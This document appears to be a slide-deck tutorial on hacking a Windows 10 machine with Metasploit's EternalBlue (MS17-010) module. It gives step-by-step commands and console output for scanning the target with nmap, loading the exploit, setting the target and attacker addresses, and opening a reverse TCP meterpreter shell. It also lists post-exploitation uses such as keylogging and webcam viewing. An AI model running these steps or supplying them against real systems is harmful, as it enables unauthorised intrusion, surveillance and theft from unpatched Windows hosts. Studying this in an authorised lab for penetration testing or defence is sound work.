

# **Metasploit and Windows 10 Hacking Demo**



**The Metasploit Framework is a set of tools that allows information gathering, scanning, exploitation, exploit development, post-exploitation, and more. While the primary usage of the Metasploit Framework focuses on the penetration testing domain, it is also useful for vulnerability research and exploits development.**



## Components of Metasploit

### **Msfconsole**

- The main command-line interface

### **Modules**

- The core components which includes exploits, payloads, scanners etc

### **Tools**

- The Stand-alone tools that help vulnerability research, vulnerability assessment, or penetration testing eg: msfvenom



# **Metasploit Comes Pre-installed with Kali**

# **HACK WINDOWS 10 WITH METASPLOIT (ETERNAL BLUE)**

## Step- 1 (scan target)

- ❖ Run nmap to locate the target and check for open ports

```
>nmap -A -sC 192.168.1.2
```

### *Here*

- ✓ **Nmap** is the name of the scanner we are using
- ✓ **A** flag is used to gather most important information about the target including OS, versions etc
- ✓ **sC** flag runs Nmap default scripts against the target

## Step- 1 (scan target)

```
(root@kali)-[~]
└─# nmap -A -sC 192.168.1.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-23 04:08 EDT
Nmap scan report for 192.168.1.2
Host is up (0.00080s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds    Windows 10 Pro 10240 microsoft-ds (workgroup: WORKGROUP)
MAC Address: 00:0C:29:9E:BA:3E (VMware)
```

## Step- 2

❖ Start msfconsole

```
>sudo msfconsole
```

```
(root@kali)-[~]  
└─# sudo msfconsole  
[*] Starting the Metasploit Framework console... /
```



## Step- 3

- ❖ Search for the Eternal Blue exploit (search eternal) and use give the following command to use a particular module

```
>use exploit/windows/smb/ms17_010_psexec
```

```
msf6 > use exploit/windows/smb/ms17_010_psexec  
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp  
msf6 exploit(windows/smb/ms17_010_psexec) > █
```

## Step- 4

- ❖ Set RHOSTS to set the target and se LHOST as your kali machine IP

```
>set RHOSTS 192.168.1.2
```

```
>set LHOST 192.168.1.4
```

```
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.2  
RHOSTS ⇒ 192.168.1.2  
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.1.4  
LHOST ⇒ 192.168.1.4
```

## Step- 5

- ❖ Now execute the exploit, you will gain a meterpreter session

```
>exploit
```

```
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] 192.168.1.2:445 - Target OS: Windows 10 Pro 10240
[*] 192.168.1.2:445 - Built a write-what-where primitive ...
[+] 192.168.1.2:445 - Overwrite complete... SYSTEM session
[*] 192.168.1.2:445 - Selecting PowerShell target
[*] 192.168.1.2:445 - Executing the payload ...
[+] 192.168.1.2:445 - Service start timed out, OK if running
e ...
[*] Sending stage (175686 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.4:4444 → 192.168.1.2:445)
-0400

meterpreter > █
```



## METERPRETER

**The Meterpreter shell** is essentially an attack platform that gets injected into the memory of the running process. Thus it avoids detection by HIDS as well as bypassing the limitations of the operating system's native command shell



## **METERPRETER**

The Meterpreter can be used to perform different actions on the machine which includes

- ✓ Taking Screenshot
- ✓ Get a live screen of the target
- ✓ View webcam
- ✓ Record keystrokes
- ✓ Get a shell etc



DEMO



THANKS